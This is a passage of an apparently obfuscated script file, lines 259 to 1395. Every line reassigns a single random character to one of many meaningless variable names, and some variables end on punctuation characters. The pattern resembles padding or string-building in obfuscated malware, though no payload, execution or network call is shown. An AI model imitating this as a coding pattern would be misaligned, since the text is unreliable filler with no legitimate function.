259	rzrapb = "F";
260	rzrapb = "d";
261	rzrapb = "I";
262	rzrapb = "T";
263	rzrapb = "E";
264	rzrapb = "U";
265	rzrapb = "Q";
266	rzrapb = "K";
267	rzrapb = "o";
268	rzrapb = "b";
269	rzrapb = "t";
270	rzrapb = "M";
271	rzrapb = "X";
272	rzrapb = "A";
273	rzrapb = "O";
274	umqjnzvx = "k";
275	umqjnzvx = "p";
276	umqjnzvx = "P";
277	umqjnzvx = "Q";
278	uyshn = "n";
279	uyshn = "H";
280	uyshn = "K";
281	uyshn = "y";
282	uyshn = "g";
283	uyshn = "V";
284	uyshn = "g";
285	uyshn = "g";
286	uyshn = "j";
287	uyshn = "z";
288	uyshn = "U";
289	uyshn = "f";
290	uyshn = "o";
291	uyshn = "p";
292	uyshn = "y";
293	uyshn = "M";
294	uyshn = "J";
295	uyshn = "G";
296	uyshn = "o";
297	uyshn = "j";
298	uyshn = "r";
299	uyshn = "P";
300	uyshn = "K";
301	uyshn = "T";
302	uyshn = "N";
303	uyshn = "U";
304	uyshn = "W";
305	uyshn = "g";
306	uyshn = "x";
307	uyshn = "c";
308	uyshn = "j";
309	uyshn = "H";
310	uyshn = "I";
311	uyshn = "w";
312	uyshn = "R";
313	uyshn = "c";
314	uyshn = "S";
315	uyshn = "U";
316	uyshn = "Y";
317	uyshn = "R";
318	uyshn = "q";
319	uyshn = "I";
320	uyshn = "R";
321	uyshn = "b";
322	angjxbrzh = "f";
323	angjxbrzh = "u";
324	angjxbrzh = "u";
325	angjxbrzh = "O";
326	angjxbrzh = "j";
327	angjxbrzh = "x";
328	angjxbrzh = "T";
329	angjxbrzh = "i";
330	angjxbrzh = "L";
331	angjxbrzh = "u";
332	angjxbrzh = "j";
333	angjxbrzh = "C";
334	angjxbrzh = "d";
335	angjxbrzh = "z";
336	angjxbrzh = "s";
337	angjxbrzh = "p";
338	angjxbrzh = "h";
339	angjxbrzh = "p";
340	angjxbrzh = "J";
341	angjxbrzh = "M";
342	angjxbrzh = "R";
343	angjxbrzh = "D";
344	angjxbrzh = "W";
345	angjxbrzh = "O";
346	angjxbrzh = "s";
347	angjxbrzh = "T";
348	angjxbrzh = "A";
349	angjxbrzh = "i";
350	angjxbrzh = "c";
351	gkxyrd = "r";
352	gkxyrd = "K";
353	gkxyrd = "U";
354	gkxyrd = "H";
355	gkxyrd = "n";
356	gkxyrd = "U";
357	gkxyrd = "a";
358	gkxyrd = "w";
359	gkxyrd = "C";
360	gkxyrd = "l";
361	gkxyrd = "Y";
362	gkxyrd = "O";
363	gkxyrd = "B";
364	gkxyrd = "p";
365	gkxyrd = "Q";
366	gkxyrd = "W";
367	gkxyrd = "x";
368	gkxyrd = ":";
369	wxqublps = "o";
370	wxqublps = "F";
371	wxqublps = "H";
372	wxqublps = "w";
373	wxqublps = "t";
374	wxqublps = "D";
375	wxqublps = "q";
376	wxqublps = "Q";
377	wxqublps = "K";
378	wxqublps = "X";
379	wxqublps = "J";
380	wxqublps = "k";
381	wxqublps = "P";
382	wxqublps = "I";
383	wxqublps = "P";
384	wxqublps = "k";
385	wxqublps = "p";
386	wxqublps = "s";
387	wxqublps = "W";
388	wxqublps = "r";
389	wxqublps = "i";
390	wxqublps = "X";
391	wxqublps = "y";
392	wxqublps = "Y";
393	wxqublps = "M";
394	wxqublps = "j";
395	cfyanez = "g";
396	cfyanez = "F";
397	cfyanez = "I";
398	cfyanez = "G";
399	cfyanez = "C";
400	cfyanez = "f";
401	cfyanez = "R";
402	cfyanez = "m";
403	kczxkdes = "Y";
404	kczxkdes = "j";
405	kczxkdes = "f";
406	kczxkdes = "R";
407	kczxkdes = "J";
408	kczxkdes = "g";
409	kczxkdes = "x";
410	kczxkdes = "p";
411	kczxkdes = "x";
412	kczxkdes = "t";
413	kczxkdes = "F";
414	kczxkdes = "K";
415	kczxkdes = "K";
416	kczxkdes = "Y";
417	kczxkdes = "Z";
418	kczxkdes = "z";
419	kczxkdes = "W";
420	kczxkdes = "W";
421	kczxkdes = "E";
422	kczxkdes = "i";
423	kczxkdes = "i";
424	kczxkdes = "v";
425	kczxkdes = "b";
426	kczxkdes = "f";
427	kczxkdes = "t";
428	kczxkdes = "i";
429	kczxkdes = "S";
430	kczxkdes = "w";
431	kczxkdes = "n";
432	kczxkdes = "X";
433	kczxkdes = "Q";
434	kczxkdes = "r";
435	kczxkdes = "0";
436	hcozskfm = "J";
437	hcozskfm = "n";
438	hcozskfm = "n";
439	hcozskfm = "p";
440	hcozskfm = "r";
441	hcozskfm = "x";
442	hcozskfm = "I";
443	hcozskfm = "C";
444	hcozskfm = "p";
445	hcozskfm = "g";
446	hcozskfm = "g";
447	hcozskfm = "z";
448	hcozskfm = "H";
449	hcozskfm = "N";
450	hcozskfm = "P";
451	hcozskfm = "j";
452	hcozskfm = "w";
453	hcozskfm = "Y";
454	hcozskfm = "q";
455	hcozskfm = "b";
456	hcozskfm = "r";
457	hcozskfm = "h";
458	hcozskfm = "r";
459	hcozskfm = "W";
460	hcozskfm = "x";
461	hcozskfm = "z";
462	hcozskfm = "b";
463	hcozskfm = "y";
464	hcozskfm = "Q";
465	hcozskfm = "e";
466	hcozskfm = "W";
467	hcozskfm = "j";
468	hcozskfm = "g";
469	hcozskfm = "N";
470	hcozskfm = "O";
471	hcozskfm = "L";
472	hcozskfm = "G";
473	hcozskfm = "b";
474	hcozskfm = "M";
475	hcozskfm = "Y";
476	hcozskfm = "T";
477	hcozskfm = "U";
478	hcozskfm = "Q";
479	hcozskfm = "k";
480	tyutfz = "T";
481	tyutfz = "Z";
482	tyutfz = "K";
483	tyutfz = "E";
484	tyutfz = "d";
485	tyutfz = "A";
486	tyutfz = "m";
487	tyutfz = "P";
488	tyutfz = "n";
489	tyutfz = "H";
490	tyutfz = "f";
491	tyutfz = "N";
492	qmtvojwge = "g";
493	qmtvojwge = "C";
494	qmtvojwge = "I";
495	qmtvojwge = "t";
496	qmtvojwge = "M";
497	qmtvojwge = "W";
498	qmtvojwge = "j";
499	qmtvojwge = "o";
500	qmtvojwge = "h";
501	qmtvojwge = "e";
502	qmtvojwge = "y";
503	qmtvojwge = "y";
504	qmtvojwge = "J";
505	qmtvojwge = "S";
506	qmtvojwge = "N";
507	qmtvojwge = "B";
508	qmtvojwge = "k";
509	qmtvojwge = "z";
510	qmtvojwge = "s";
511	qmtvojwge = "Z";
512	qmtvojwge = "r";
513	qmtvojwge = "y";
514	qmtvojwge = "d";
515	qmtvojwge = "P";
516	qmtvojwge = "t";
517	qmtvojwge = "d";
518	qmtvojwge = "u";
519	qmtvojwge = "e";
520	qmtvojwge = "s";
521	qmtvojwge = "Q";
522	qmtvojwge = "I";
523	qmtvojwge = "F";
524	qmtvojwge = "E";
525	qmtvojwge = "n";
526	qmtvojwge = "g";
527	qmtvojwge = "d";
528	qmtvojwge = "B";
529	qmtvojwge = "r";
530	qmtvojwge = "R";
531	qmtvojwge = "I";
532	qmtvojwge = "n";
533	cbnwhps = "F";
534	cbnwhps = "e";
535	cbnwhps = "B";
536	cbnwhps = "C";
537	cbnwhps = "C";
538	cbnwhps = "T";
539	cbnwhps = "s";
540	cbnwhps = "K";
541	cbnwhps = "J";
542	cbnwhps = "f";
543	cbnwhps = "T";
544	cbnwhps = "C";
545	cbnwhps = "i";
546	cbnwhps = "j";
547	cbnwhps = "X";
548	cbnwhps = "G";
549	cbnwhps = "E";
550	cbnwhps = "L";
551	cbnwhps = "C";
552	cbnwhps = "j";
553	cbnwhps = "G";
554	cbnwhps = "L";
555	cbnwhps = "A";
556	cbnwhps = "X";
557	cbnwhps = "J";
558	cbnwhps = "C";
559	cbnwhps = "b";
560	cbnwhps = "t";
561	cbnwhps = "p";
562	cbnwhps = "N";
563	cbnwhps = "K";
564	skoxgtq = "l";
565	skoxgtq = "g";
566	skoxgtq = "R";
567	skoxgtq = "J";
568	skoxgtq = "s";
569	skoxgtq = "Q";
570	skoxgtq = "U";
571	skoxgtq = "M";
572	skoxgtq = "D";
573	skoxgtq = "S";
574	skoxgtq = "x";
575	skoxgtq = "q";
576	skoxgtq = "V";
577	skoxgtq = "K";
578	skoxgtq = "B";
579	skoxgtq = "D";
580	skoxgtq = "E";
581	skoxgtq = "J";
582	skoxgtq = "K";
583	skoxgtq = "a";
584	skoxgtq = "r";
585	skoxgtq = "M";
586	skoxgtq = "E";
587	skoxgtq = "m";
588	skoxgtq = "w";
589	skoxgtq = "p";
590	skoxgtq = "E";
591	skoxgtq = "h";
592	skoxgtq = "e";
593	skoxgtq = "D";
594	skoxgtq = "v";
595	skoxgtq = "j";
596	skoxgtq = "k";
597	skoxgtq = "N";
598	skoxgtq = "S";
599	skoxgtq = "d";
600	skoxgtq = "R";
601	nlusjvqnp = "T";
602	nlusjvqnp = "f";
603	nlusjvqnp = "p";
604	nlusjvqnp = "y";
605	nlusjvqnp = "N";
606	nlusjvqnp = "i";
607	nlusjvqnp = "b";
608	nlusjvqnp = "w";
609	nlusjvqnp = "c";
610	nlusjvqnp = "i";
611	rcgnqzul = "r";
612	rcgnqzul = "x";
613	rcgnqzul = "v";
614	rcgnqzul = "U";
615	rcgnqzul = "s";
616	rcgnqzul = "K";
617	rcgnqzul = "d";
618	rcgnqzul = "w";
619	rcgnqzul = "i";
620	rcgnqzul = "P";
621	rcgnqzul = "d";
622	rcgnqzul = "l";
623	rcgnqzul = "D";
624	rcgnqzul = "e";
625	rcgnqzul = "x";
626	rcgnqzul = "r";
627	rcgnqzul = "T";
628	rcgnqzul = "i";
629	rcgnqzul = "Q";
630	rcgnqzul = "i";
631	rcgnqzul = "l";
632	rcgnqzul = "T";
633	rcgnqzul = "T";
634	rcgnqzul = "y";
635	rcgnqzul = "K";
636	rcgnqzul = "G";
637	rcgnqzul = "i";
638	rcgnqzul = "X";
639	rcgnqzul = "5";
640	chdorv = "L";
641	chdorv = "k";
642	chdorv = "P";
643	chdorv = "f";
644	chdorv = "W";
645	chdorv = "J";
646	chdorv = "X";
647	chdorv = "D";
648	chdorv = "l";
649	chdorv = "j";
650	chdorv = "M";
651	chdorv = "V";
652	chdorv = "U";
653	chdorv = "v";
654	chdorv = "E";
655	chdorv = "p";
656	chdorv = "Y";
657	chdorv = "P";
658	chdorv = "k";
659	chdorv = "z";
660	chdorv = "S";
661	chdorv = "B";
662	chdorv = "N";
663	chdorv = "d";
664	chdorv = "i";
665	chdorv = "q";
666	chdorv = "M";
667	chdorv = "M";
668	chdorv = "V";
669	chdorv = "S";
670	chdorv = "n";
671	chdorv = "3";
672	vspcm = "T";
673	vspcm = "g";
674	vspcm = "E";
675	vspcm = "O";
676	vspcm = "L";
677	vspcm = "W";
678	vspcm = "o";
679	vspcm = "v";
680	vspcm = "Y";
681	vspcm = "V";
682	vspcm = "m";
683	vspcm = "J";
684	vspcm = "4";
685	xubmyhafb = "p";
686	xubmyhafb = "m";
687	xubmyhafb = "W";
688	xubmyhafb = "u";
689	xubmyhafb = "h";
690	xubmyhafb = "g";
691	xubmyhafb = "A";
692	xubmyhafb = "M";
693	xubmyhafb = "q";
694	xubmyhafb = "v";
695	xubmyhafb = "J";
696	xubmyhafb = "e";
697	xubmyhafb = "c";
698	xubmyhafb = "Q";
699	xubmyhafb = "q";
700	xubmyhafb = "f";
701	xubmyhafb = "Q";
702	xubmyhafb = "s";
703	xubmyhafb = "d";
704	xubmyhafb = "u";
705	xubmyhafb = "J";
706	xubmyhafb = "P";
707	xubmyhafb = "T";
708	xubmyhafb = "Y";
709	xubmyhafb = "m";
710	xubmyhafb = "j";
711	xubmyhafb = "B";
712	xubmyhafb = "Y";
713	xubmyhafb = "x";
714	xubmyhafb = "C";
715	xubmyhafb = "n";
716	xubmyhafb = "B";
717	xubmyhafb = "S";
718	xubmyhafb = "y";
719	xubmyhafb = "Z";
720	xubmyhafb = "F";
721	xubmyhafb = "O";
722	xubmyhafb = "S";
723	xubmyhafb = "S";
724	xubmyhafb = "s";
725	onfiwis = "B";
726	onfiwis = "S";
727	onfiwis = "K";
728	onfiwis = "h";
729	onfiwis = "T";
730	onfiwis = "F";
731	onfiwis = "k";
732	onfiwis = "G";
733	onfiwis = "S";
734	onfiwis = "u";
735	onfiwis = "b";
736	onfiwis = "t";
737	onfiwis = "h";
738	onfiwis = "I";
739	wjdhrvaf = "c";
740	wjdhrvaf = "J";
741	wjdhrvaf = "r";
742	wjdhrvaf = "P";
743	wjdhrvaf = "U";
744	wjdhrvaf = "X";
745	wjdhrvaf = "H";
746	wjdhrvaf = "e";
747	wjdhrvaf = "h";
748	wjdhrvaf = "Z";
749	wjdhrvaf = "j";
750	wjdhrvaf = "f";
751	wjdhrvaf = "w";
752	wjdhrvaf = "G";
753	wjdhrvaf = "T";
754	wjdhrvaf = "L";
755	wjdhrvaf = "X";
756	wjdhrvaf = "G";
757	wjdhrvaf = "N";
758	wjdhrvaf = "X";
759	wjdhrvaf = "B";
760	wjdhrvaf = "q";
761	wjdhrvaf = "K";
762	wjdhrvaf = "m";
763	wjdhrvaf = "Z";
764	wjdhrvaf = "z";
765	wjdhrvaf = "X";
766	wjdhrvaf = "x";
767	wjdhrvaf = "v";
768	wjdhrvaf = "O";
769	wjdhrvaf = "Z";
770	wjdhrvaf = "b";
771	wjdhrvaf = "O";
772	wjdhrvaf = "O";
773	wjdhrvaf = "Z";
774	wjdhrvaf = "g";
775	wjdhrvaf = "H";
776	wjdhrvaf = "l";
777	aflyfh = "B";
778	aflyfh = "F";
779	aflyfh = "p";
780	aflyfh = "V";
781	aflyfh = "N";
782	aflyfh = "b";
783	aflyfh = "x";
784	aflyfh = "W";
785	aflyfh = "u";
786	aflyfh = "z";
787	aflyfh = "M";
788	aflyfh = "x";
789	aflyfh = "A";
790	aflyfh = "z";
791	aflyfh = "n";
792	aflyfh = "A";
793	aflyfh = "p";
794	aflyfh = "K";
795	aflyfh = "G";
796	aflyfh = "e";
797	aflyfh = "W";
798	aflyfh = "E";
799	aflyfh = "h";
800	aflyfh = "C";
801	aflyfh = "l";
802	aflyfh = "e";
803	aflyfh = "P";
804	aflyfh = "d";
805	aflyfh = "z";
806	aflyfh = "z";
807	aflyfh = "r";
808	aflyfh = "t";
809	aflyfh = "F";
810	aflyfh = "n";
811	aflyfh = "l";
812	aflyfh = "C";
813	aflyfh = "@";
814	oshtujni = "f";
815	oshtujni = "o";
816	oshtujni = "E";
817	oshtujni = "x";
818	oshtujni = "V";
819	oshtujni = "p";
820	oshtujni = "C";
821	oshtujni = "Z";
822	oshtujni = "G";
823	oshtujni = "o";
824	oshtujni = "s";
825	oshtujni = "I";
826	oshtujni = "X";
827	oshtujni = "Y";
828	oshtujni = "b";
829	oshtujni = "I";
830	oshtujni = "l";
831	oshtujni = "A";
832	oshtujni = "x";
833	oshtujni = "M";
834	oshtujni = "e";
835	oshtujni = "d";
836	oshtujni = "d";
837	oshtujni = "w";
838	gjyrfh = "f";
839	gjyrfh = "p";
840	gjyrfh = "V";
841	gjyrfh = "B";
842	gjyrfh = "C";
843	gjyrfh = "r";
844	gjyrfh = "a";
845	gjyrfh = "C";
846	gjyrfh = "N";
847	gjyrfh = "I";
848	gjyrfh = "l";
849	gjyrfh = "h";
850	gjyrfh = "U";
851	gjyrfh = "N";
852	gjyrfh = "v";
853	gjyrfh = "R";
854	gjyrfh = "K";
855	gjyrfh = "P";
856	gjyrfh = "G";
857	gjyrfh = "N";
858	gjyrfh = "y";
859	gjyrfh = "j";
860	gjyrfh = "W";
861	gjyrfh = "h";
862	gjyrfh = "Q";
863	gjyrfh = "t";
864	gjyrfh = "z";
865	gjyrfh = "B";
866	gjyrfh = "z";
867	gjyrfh = "%";
868	ynxxpr = "z";
869	ynxxpr = "V";
870	ynxxpr = "m";
871	ynxxpr = "L";
872	ynxxpr = "v";
873	ynxxpr = "V";
874	ynxxpr = "V";
875	ynxxpr = "e";
876	ynxxpr = "N";
877	ynxxpr = "O";
878	ynxxpr = "b";
879	ynxxpr = "P";
880	ynxxpr = "H";
881	ynxxpr = "Z";
882	ynxxpr = "o";
883	ynxxpr = "L";
884	ynxxpr = "e";
885	ynxxpr = "Q";
886	ynxxpr = "e";
887	ynxxpr = "e";
888	ynxxpr = "w";
889	ynxxpr = "v";
890	ynxxpr = "T";
891	ynxxpr = "k";
892	ynxxpr = "l";
893	ynxxpr = "n";
894	ynxxpr = "z";
895	ynxxpr = "C";
896	ynxxpr = "p";
897	ynxxpr = "h";
898	ynxxpr = "F";
899	rwjfbxk = "G";
900	rwjfbxk = "H";
901	rwjfbxk = "x";
902	rwjfbxk = "V";
903	rwjfbxk = "B";
904	rwjfbxk = "N";
905	rwjfbxk = "q";
906	rwjfbxk = "r";
907	dapqqhyaj = "k";
908	dapqqhyaj = "c";
909	dapqqhyaj = "s";
910	dapqqhyaj = "a";
911	dapqqhyaj = "m";
912	dapqqhyaj = "n";
913	dapqqhyaj = "M";
914	dapqqhyaj = "M";
915	dapqqhyaj = "a";
916	dapqqhyaj = "L";
917	dapqqhyaj = "R";
918	dapqqhyaj = "W";
919	dapqqhyaj = "t";
920	dapqqhyaj = "e";
921	dapqqhyaj = "z";
922	dapqqhyaj = "b";
923	dapqqhyaj = "z";
924	dapqqhyaj = "N";
925	dapqqhyaj = "S";
926	dapqqhyaj = "l";
927	dapqqhyaj = "m";
928	dapqqhyaj = "t";
929	dapqqhyaj = "O";
930	dapqqhyaj = "w";
931	dapqqhyaj = "i";
932	dapqqhyaj = "c";
933	dapqqhyaj = "R";
934	dapqqhyaj = "W";
935	dapqqhyaj = "t";
936	dapqqhyaj = "i";
937	dapqqhyaj = "x";
938	dapqqhyaj = "V";
939	dapqqhyaj = "F";
940	dapqqhyaj = "v";
941	dlavtf = "x";
942	dlavtf = "v";
943	dlavtf = "J";
944	dlavtf = "E";
945	dlavtf = "w";
946	dlavtf = "B";
947	dlavtf = "h";
948	dlavtf = "E";
949	dlavtf = "h";
950	dlavtf = "m";
951	dlavtf = "U";
952	dlavtf = "X";
953	dlavtf = "i";
954	dlavtf = "F";
955	dlavtf = "g";
956	dlavtf = "y";
957	dlavtf = "F";
958	dlavtf = "A";
959	dlavtf = "y";
960	dlavtf = "N";
961	dlavtf = "F";
962	dlavtf = "S";
963	dlavtf = "G";
964	dlavtf = "T";
965	dlavtf = "c";
966	dlavtf = "y";
967	dlavtf = "g";
968	dlavtf = "K";
969	dlavtf = "h";
970	dlavtf = "s";
971	dlavtf = "H";
972	dlavtf = "m";
973	dlavtf = "l";
974	dlavtf = "p";
975	oqtdvn = "y";
976	oqtdvn = "X";
977	oqtdvn = "J";
978	oqtdvn = "u";
979	oqtdvn = "N";
980	oqtdvn = "p";
981	oqtdvn = "r";
982	oqtdvn = "x";
983	oqtdvn = "w";
984	oqtdvn = "S";
985	oqtdvn = "y";
986	oqtdvn = "k";
987	oqtdvn = "C";
988	oqtdvn = "v";
989	oqtdvn = "F";
990	oqtdvn = "M";
991	oqtdvn = "Z";
992	oqtdvn = "a";
993	oqtdvn = "J";
994	oqtdvn = "Y";
995	oqtdvn = "c";
996	oqtdvn = "h";
997	oqtdvn = "z";
998	oqtdvn = "C";
999	oqtdvn = "o";
1000	oqtdvn = "8";
1001	pbtunw = "s";
1002	pbtunw = "Q";
1003	pbtunw = "m";
1004	pbtunw = "k";
1005	pbtunw = "M";
1006	pbtunw = "v";
1007	pbtunw = "c";
1008	pbtunw = "L";
1009	pbtunw = "D";
1010	pbtunw = "H";
1011	pbtunw = "Y";
1012	pbtunw = "X";
1013	pbtunw = "P";
1014	pbtunw = "-";
1015	mdyttwcte = "V";
1016	mdyttwcte = "X";
1017	mdyttwcte = "z";
1018	mdyttwcte = "B";
1019	mdyttwcte = "p";
1020	mdyttwcte = "E";
1021	mdyttwcte = "X";
1022	mdyttwcte = "k";
1023	mdyttwcte = "I";
1024	mdyttwcte = "A";
1025	mdyttwcte = "p";
1026	mdyttwcte = "f";
1027	mdyttwcte = "O";
1028	mdyttwcte = "6";
1029	eajpyz = "r";
1030	eajpyz = "I";
1031	eajpyz = "p";
1032	eajpyz = "G";
1033	eajpyz = "B";
1034	eajpyz = "m";
1035	eajpyz = "r";
1036	eajpyz = "s";
1037	eajpyz = "n";
1038	eajpyz = "x";
1039	eajpyz = "M";
1040	eajpyz = "N";
1041	eajpyz = "r";
1042	eajpyz = "G";
1043	eajpyz = "O";
1044	eajpyz = "L";
1045	eajpyz = "D";
1046	eajpyz = "P";
1047	eajpyz = "o";
1048	eajpyz = "f";
1049	eajpyz = "k";
1050	eajpyz = "L";
1051	eajpyz = "W";
1052	eajpyz = "Z";
1053	eajpyz = "k";
1054	eajpyz = "p";
1055	eajpyz = "Z";
1056	eajpyz = "h";
1057	eajpyz = "g";
1058	eajpyz = "x";
1059	eajpyz = "i";
1060	eajpyz = "I";
1061	eajpyz = "g";
1062	eajpyz = "B";
1063	eajpyz = "B";
1064	eajpyz = "u";
1065	eajpyz = "h";
1066	eajpyz = "c";
1067	eajpyz = "B";
1068	eajpyz = ".";
1069	mccfpf = "N";
1070	mccfpf = "c";
1071	mccfpf = "i";
1072	mccfpf = "Z";
1073	mccfpf = "h";
1074	mccfpf = "Z";
1075	mccfpf = "F";
1076	mccfpf = "R";
1077	mccfpf = "H";
1078	mccfpf = "F";
1079	mccfpf = "y";
1080	mccfpf = "N";
1081	mccfpf = "q";
1082	mccfpf = "l";
1083	mccfpf = "e";
1084	mccfpf = "F";
1085	mccfpf = "J";
1086	mccfpf = "x";
1087	mccfpf = "g";
1088	mccfpf = "E";
1089	mccfpf = "X";
1090	mccfpf = "C";
1091	mccfpf = "t";
1092	mccfpf = "x";
1093	mccfpf = "G";
1094	mccfpf = "J";
1095	mccfpf = "I";
1096	mccfpf = "N";
1097	mccfpf = "m";
1098	mccfpf = "i";
1099	mccfpf = "l";
1100	mccfpf = "Y";
1101	mccfpf = "m";
1102	mccfpf = "Z";
1103	mccfpf = "M";
1104	mccfpf = "z";
1105	mccfpf = "b";
1106	mccfpf = "T";
1107	mccfpf = "P";
1108	mccfpf = "X";
1109	mccfpf = "q";
1110	mccfpf = "x";
1111	mccfpf = "E";
1112	afuwtfb = "N";
1113	afuwtfb = "T";
1114	afuwtfb = "H";
1115	afuwtfb = "m";
1116	afuwtfb = "b";
1117	afuwtfb = "i";
1118	afuwtfb = "q";
1119	afuwtfb = "h";
1120	afuwtfb = "g";
1121	afuwtfb = "F";
1122	afuwtfb = "I";
1123	afuwtfb = "M";
1124	afuwtfb = "D";
1125	afuwtfb = "Z";
1126	afuwtfb = "x";
1127	afuwtfb = "p";
1128	afuwtfb = "T";
1129	vocznvs = "h";
1130	objzi = "O";
1131	objzi = "U";
1132	objzi = "X";
1133	objzi = "Q";
1134	objzi = "N";
1135	objzi = "o";
1136	objzi = "b";
1137	objzi = "P";
1138	objzi = "H";
1139	objzi = "G";
1140	objzi = "t";
1141	objzi = "b";
1142	objzi = "q";
1143	objzi = "z";
1144	objzi = "Y";
1145	objzi = "D";
1146	objzi = "T";
1147	objzi = "i";
1148	objzi = "x";
1149	objzi = "r";
1150	objzi = "N";
1151	objzi = "Y";
1152	objzi = "b";
1153	objzi = "t";
1154	objzi = "Y";
1155	objzi = "G";
1156	objzi = "n";
1157	objzi = "l";
1158	objzi = "G";
1159	objzi = "t";
1160	objzi = "W";
1161	objzi = "2";
1162	jjmnmyhmu = "e";
1163	jjmnmyhmu = "B";
1164	jjmnmyhmu = "b";
1165	jjmnmyhmu = " ";
1166	tlkhzka = "t";
1167	tlkhzka = "M";
1168	tlkhzka = "q";
1169	tlkhzka = "h";
1170	tlkhzka = "A";
1171	tlkhzka = "B";
1172	tlkhzka = "Q";
1173	tlkhzka = "I";
1174	tlkhzka = "J";
1175	tlkhzka = "u";
1176	tlkhzka = "D";
1177	tlkhzka = "U";
1178	tlkhzka = "F";
1179	tlkhzka = "R";
1180	tlkhzka = "G";
1181	tlkhzka = "W";
1182	tlkhzka = "l";
1183	tlkhzka = "h";
1184	tlkhzka = "v";
1185	tlkhzka = "P";
1186	tlkhzka = "n";
1187	tlkhzka = "W";
1188	tlkhzka = "r";
1189	tlkhzka = "y";
1190	tlkhzka = "w";
1191	tlkhzka = "c";
1192	tlkhzka = "B";
1193	tlkhzka = "F";
1194	tlkhzka = "I";
1195	tlkhzka = "E";
1196	tlkhzka = "z";
1197	tlkhzka = "A";
1198	tlkhzka = "a";
1199	tlkhzka = "r";
1200	tlkhzka = "z";
1201	tlkhzka = "x";
1202	tbgvj = "r";
1203	tbgvj = "Q";
1204	tbgvj = "n";
1205	tbgvj = "B";
1206	tbgvj = "R";
1207	tbgvj = "p";
1208	tbgvj = "p";
1209	tbgvj = "D";
1210	tbgvj = "v";
1211	tbgvj = "v";
1212	tbgvj = "W";
1213	nkeeplr = "a";
1214	nkeeplr = "w";
1215	nkeeplr = "r";
1216	nkeeplr = "a";
1217	nkeeplr = "F";
1218	nkeeplr = "f";
1219	nkeeplr = "m";
1220	nkeeplr = "r";
1221	nkeeplr = "v";
1222	nkeeplr = "Z";
1223	nkeeplr = "B";
1224	nkeeplr = "d";
1225	nkeeplr = "f";
1226	nkeeplr = "p";
1227	nkeeplr = "m";
1228	nkeeplr = "o";
1229	nkeeplr = "L";
1230	nkeeplr = "s";
1231	nkeeplr = "G";
1232	nkeeplr = "E";
1233	nkeeplr = "r";
1234	nkeeplr = "p";
1235	nkeeplr = "G";
1236	nkeeplr = "r";
1237	nkeeplr = "P";
1238	gmfen = "f";
1239	gmfen = "T";
1240	gmfen = "k";
1241	gmfen = "U";
1242	gmfen = "t";
1243	gmfen = "u";
1244	gmfen = "b";
1245	gmfen = "i";
1246	gmfen = "p";
1247	gmfen = "G";
1248	gmfen = "J";
1249	gmfen = "u";
1250	gmfen = "O";
1251	gmfen = "Y";
1252	gmfen = "j";
1253	gmfen = "_";
1254	ieftno = "q";
1255	ieftno = "b";
1256	ieftno = "S";
1257	ieftno = "/";
1258	qvrqybgou = "J";
1259	qvrqybgou = "o";
1260	qvrqybgou = "M";
1261	qvrqybgou = "g";
1262	qvrqybgou = "E";
1263	qvrqybgou = "I";
1264	qvrqybgou = "d";
1265	qvrqybgou = "W";
1266	qvrqybgou = "l";
1267	qvrqybgou = "x";
1268	qvrqybgou = "f";
1269	qvrqybgou = "h";
1270	qvrqybgou = "s";
1271	qvrqybgou = "g";
1272	qvrqybgou = "q";
1273	qvrqybgou = "C";
1274	ydqbxc = "q";
1275	ydqbxc = "S";
1276	ydqbxc = "Q";
1277	ydqbxc = "l";
1278	ydqbxc = "\\";
1279	rbknwn = "u";
1280	rbknwn = "n";
1281	rbknwn = "V";
1282	rbknwn = "G";
1283	rbknwn = "W";
1284	rbknwn = "a";
1285	rbknwn = "r";
1286	rbknwn = "O";
1287	rbknwn = "I";
1288	rbknwn = "C";
1289	rbknwn = "U";
1290	rbknwn = "V";
1291	rbknwn = "O";
1292	rbknwn = "J";
1293	rbknwn = "S";
1294	rbknwn = "y";
1295	rbknwn = "G";
1296	rbknwn = "u";
1297	rbknwn = "O";
1298	rbknwn = "G";
1299	rbknwn = "m";
1300	rbknwn = "J";
1301	rbknwn = "f";
1302	rbknwn = "e";
1303	iaoopujcm = "r";
1304	iaoopujcm = "N";
1305	iaoopujcm = "H";
1306	lvmovuf = "G";
1307	lvmovuf = "J";
1308	lvmovuf = "Q";
1309	lvmovuf = "h";
1310	lvmovuf = "c";
1311	lvmovuf = "Q";
1312	lvmovuf = "1";
1313	bvlnrgr = "h";
1314	bvlnrgr = "y";
1315	bvlnrgr = "j";
1316	bvlnrgr = "B";
1317	bvlnrgr = "l";
1318	bvlnrgr = "a";
1319	bvlnrgr = "g";
1320	bvlnrgr = "E";
1321	bvlnrgr = "S";
1322	bvlnrgr = "g";
1323	bvlnrgr = "q";
1324	bvlnrgr = "s";
1325	bvlnrgr = "E";
1326	bvlnrgr = "r";
1327	bvlnrgr = "b";
1328	bvlnrgr = "G";
1329	bvlnrgr = "r";
1330	bvlnrgr = "Z";
1331	bvlnrgr = "E";
1332	bvlnrgr = "g";
1333	bvlnrgr = "Y";
1334	bvlnrgr = "e";
1335	bvlnrgr = "i";
1336	bvlnrgr = "u";
1337	bvlnrgr = "a";
1338	uotwfixg = "w";
1339	uotwfixg = "T";
1340	uotwfixg = "U";
1341	uotwfixg = "G";
1342	uotwfixg = "K";
1343	uotwfixg = "c";
1344	uotwfixg = "B";
1345	uotwfixg = "e";
1346	uotwfixg = "K";
1347	uotwfixg = "h";
1348	uotwfixg = "r";
1349	uotwfixg = "U";
1350	uotwfixg = "h";
1351	uotwfixg = "q";
1352	uotwfixg = "p";
1353	uotwfixg = "l";
1354	uotwfixg = "W";
1355	uotwfixg = "C";
1356	uotwfixg = "F";
1357	uotwfixg = "e";
1358	uotwfixg = "s";
1359	uotwfixg = "a";
1360	uotwfixg = "Z";
1361	uotwfixg = "l";
1362	uotwfixg = "S";
1363	uotwfixg = "s";
1364	uotwfixg = "p";
1365	uotwfixg = "o";
1366	uotwfixg = "S";
1367	uotwfixg = "R";
1368	uotwfixg = "K";
1369	uotwfixg = "Y";
1370	mkbxnd = "l";
1371	mkbxnd = "y";
1372	mkbxnd = "a";
1373	mkbxnd = "q";
1374	mkbxnd = "n";
1375	mkbxnd = "r";
1376	mkbxnd = "e";
1377	mkbxnd = "L";
1378	mkbxnd = "b";
1379	mkbxnd = "V";
1380	mkbxnd = "j";
1381	mkbxnd = "p";
1382	mkbxnd = "g";
1383	mkbxnd = "J";
1384	mkbxnd = "V";
1385	mkbxnd = "P";
1386	mkbxnd = "t";
1387	tcbwred = "L";
1388	tcbwred = "A";
1389	tcbwred = "v";
1390	tcbwred = "k";
1391	tcbwred = "c";
1392	tcbwred = "i";
1393	tcbwred = "H";
1394	tcbwred = "U";
1395	tcbwred = "k";
